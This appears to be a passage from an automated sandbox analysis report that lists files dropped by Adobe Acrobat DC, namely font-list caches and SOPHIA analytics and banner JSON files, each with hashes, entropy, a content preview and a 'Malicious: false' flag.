Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1292

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1292

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.340762856604103
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJM3g98kUwPeUkwRe9:YvXKX9PiOUYpW7j6GMbLUkee9
MD5:	A581324FACC4CB60D2355BADFD6966DD
SHA1:	6C7FFA0B5034CCF8D5D27FA5E49258CDCCC86301
SHA-256:	78AF731F62E93C6E52B8801F6C09199B1E67908FF7827680EBF8EC9D5E34CE9B
SHA-512:	60BDA403E06E6C1C5A23E72A31B6E684491916E101F42E770F40693B8AEE9C7183A71290A3246B61963C1CC32D212F2F79FAA0622469473765E919A3200AF71D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277907271786893
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfBoTfXpnrPeUkwRe9:YvXKX9PiOUYpW7j6GWTfXcUkee9
MD5:	9E374D4360499432EEB856288551C679
SHA1:	916AB06BB925643376CE7C1937CC2645FAD0E90B
SHA-256:	6715E4FDCB01329A6F230EC130FD315E8DBE9457753432031D228B8673CD4479
SHA-512:	B64E8D966EA72FDC7F908DB14EF04148496EA9ED28EF321412269E997C2A1AC797719D5E767D218BFC4AB67E36C6DC2F08A363F35D7AF71507C52208AB69AEFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.256455588312898
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfBD2G6UpnrPeUkwRe9:YvXKX9PiOUYpW7j6GR22cUkee9
MD5:	03113D6E6720A5A2D320BE6B9533D3E1
SHA1:	CAFDB56798833DE5F0D6E9D429DE635D32F485E2
SHA-256:	A885581295DAB354B17E11118B53DEF7794FB6FA8AD06EB467BE6CB36A223A39
SHA-512:	2540117E3CF15D2EA0C6D71AA78A0948420B162B19F6B9E873520CFBE5FF4357FE3C7815C7BD4FF8AB9DCAB7CCF7A09790FE11282E27D28F1363EA16C4E1BC05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.318862733215473
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfPmwrPeUkwRe9:YvXKX9PiOUYpW7j6GH56Ukee9
MD5:	A551E8E8F2B321C4B974F799077203CE
SHA1:	FBD1F2BC3E491BCBA987B8AA1C4A7CC04AD56F14
SHA-256:	DECCE4A240B7053F5A1585A390D1CBE8889A12FBBBB1EC74C82B64DDDC7AE79F
SHA-512:	C5F665587607A14BF485428A74F6748585C958A5122F469DF4BA12D50850E4E687D9CAE219C5BC2703E9DAB530627711FC7A0B3C955150C791D7AFBFCB0C7E85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689624890287855
Encrypted:	false
SSDEEP:	24:Yv6X9Pi6ijXpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4:Yve4jXhgy6SAFv5Ah8cv/4
MD5:	8A4A7F2641F17452803FFFF08FD9A325
SHA1:	E84A802E68DBF044F5EC7C0F7495F083CE01667E
SHA-256:	05C86CA44EC5F82C64A36DDB7D6E53BB295627B04DF671301A42E4486C93A7DD
SHA-512:	5489161EBBF8147AD4DB47B4D0092B0FF78C079A941F7AA81B5C20A6FD407FCFB1A56203CE43A68DC1AA8B9B05EADF7297CDF51C90FC467C6D462DCCC7F208EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263818737146266
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJf8dPeUkwRe9:YvXKX9PiOUYpW7j6GU8Ukee9
MD5:	00DDCE7E250466D91879CEA3B98B5EAF
SHA1:	9132367D9AB5A0DBA03F8DA1976159080B5BEA51
SHA-256:	EFF2DF6EE72D3AD434022B7C411E6B02D4F041BA4EBDDA1A2BF6F74CF5E4A947
SHA-512:	DB439CD07ED0DA62264FF86F6B6151151084EB3A732F4EBF232252E55222C0C20AEA14A8597AC77A902B92D991D70988D6B646A53AC8E0105E71724C592253F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.264854864486027
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfQ1rPeUkwRe9:YvXKX9PiOUYpW7j6GY16Ukee9
MD5:	B91694C26774B5828182B632C12B36E6
SHA1:	08F535C9013F4DA96B8FFEA6F36676EA65C967CC
SHA-256:	47AFD6A3913535FA4507C7EE37AA133AC59EA888090507F8A668354E20C220A7
SHA-512:	44DF3F9ED148595492566A8A1019B4936E68AFE6B9AC88584AEBB45237A0BCE78BDCEF934B96C3CF8C35E0CEC8E1431D2233CC0B7981892DB4E35C7DDC431C82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284335796334139
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfFldPeUkwRe9:YvXKX9PiOUYpW7j6Gz8Ukee9
MD5:	98BACB27E15AACDE51D11E0F9AA874F6
SHA1:	6FACFE39E8EC7BC4AFDFF0D43F43584928CB87F4
SHA-256:	C5C58FA88444DB06043967FAAFC4FC181DEA16F6FC53510419B78B8EEDF8312A
SHA-512:	B9768A388E95DD2419B78A9D614004B4A41E66D8FAD25FDEEEB51393C8F182C72D6F5478C37B36CC3E3EAF064CD61922AEB71F0D101EE25087D6A5749A21FBEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.292008903748222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfzdPeUkwRe9:YvXKX9PiOUYpW7j6Gb8Ukee9
MD5:	89E18A8369DF1FE622546BB3864E1D7F
SHA1:	7A93ED338F52DC1FF5516CC240977060BB90FA50
SHA-256:	61ACBC3326570FEDE5F308CBC96D00B69CBD003A92BD6A270FC27B5726857363
SHA-512:	E6AD321CE663E2A2711BCF19A97A6DF96BBFC4EE01416C27790A2D3A51AC7629624F288BE2DA7D6F67932C111BC8A69896165EF908E189B1103C9090041A9047
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27179091044415
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfYdPeUkwRe9:YvXKX9PiOUYpW7j6Gg8Ukee9
MD5:	B79DC9AAAA2A3984940FA02C8F8B46FF
SHA1:	58C5DCB93F8054E53A80862E26306AF14FCDABDA
SHA-256:	142F218C9C131112B61DA3AF7E82608554E51E6E7E695FAA6491C55201D68649
SHA-512:	F21F9E675587AC2889B8EA1374C3675C95BEC65636C2EDD9645DA2B79C703FBAD84827B31B6D2B8B959EEDB017A1D7B6DB1ED93C0B177E7B9B0A97585AF6395D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.257643635294033
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJf+dPeUkwRe9:YvXKX9PiOUYpW7j6G28Ukee9
MD5:	11A947A83EF8C52396B4507A54FAC882
SHA1:	1BB93A7B67AE87B80C38A099C7049402DCA3751E
SHA-256:	D788B82D5D6893DFCBC843691B419C43020102235E1D7E553C5EF6A41CA43BCB
SHA-512:	86DF54945EA3E37202F21B6A1D465523B9FCF6251B1B3C60042F8D564650DC14D474B181C3E9A7816B7CB0FFC6541AA85FA012C0041D00D5E59DAD8F90456A06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.255531885022177
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJfbPtdPeUkwRe9:YvXKX9PiOUYpW7j6GDV8Ukee9
MD5:	0D6C31A61588A6848FC2089EF93612F4
SHA1:	109C8DA3F6FA9B9CE79B49CB85A835BC4746FF5F
SHA-256:	A85B53CE48E9E6EB25BD550FA78CE710F27F5A9662043F9A37519118C794E095
SHA-512:	2335B493AEB39B27D8585B64687FA59BE34DC2B3988B28CFA57462D6459214EDB906CACD295F3C73F281BC0A6D344929A5DCC4DC678F8A62F62BD21E7609D707
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.256500267768981
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD2SXfT2Ox+FIbRI6XVW7+0Ysu8DoAvJf21rPeUkwRe9:YvXKX9PiOUYpW7j6G+16Ukee9
MD5:	7F67D62F0833E3FBE09AE6B3359C9889
SHA1:	185A167249A1473BD05BC905EFD58A6936B1F200
SHA-256:	68451C41C18AD6E4C9220B8F5E3E1478B74CD8EBFDF2E506480AB2ADCA89CD76
SHA-512:	1587A0FE3CEC7AFC4E193B29F67CAEB705A793E199AC2AB127A0D3137C1794312170AFF806A47431C28F35456F8FA675EDE2ADC3D2AB39EB776D27FCC6C6E284
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658674207797765
Encrypted:	false
SSDEEP:	24:Yv6X9Pi6ijvamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:Yve4jHBgkDMUJUAh8cvM4
MD5:	CC380A4DB4E5DCAC706D72EE4C192952
SHA1:	8DA1321A0821AFCDA754A75790EF3A76DFE112AA
SHA-256:	F73D1825F9BA9ABAA61905B2712024F7D28D46D9A00A268A6AEB2EE18954E3CB
SHA-512:	8A9FCF70C95321FEE55AE34311A67BBB5DD2203E519EFC929CE6E14C30F625EE7511DCAEB54EC81374C04C88BC74E08C0CE46D58FFA139B6BBB508A4081AEEF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4def990b-e89c-4266-af05-23d17f271c24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736716575201,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
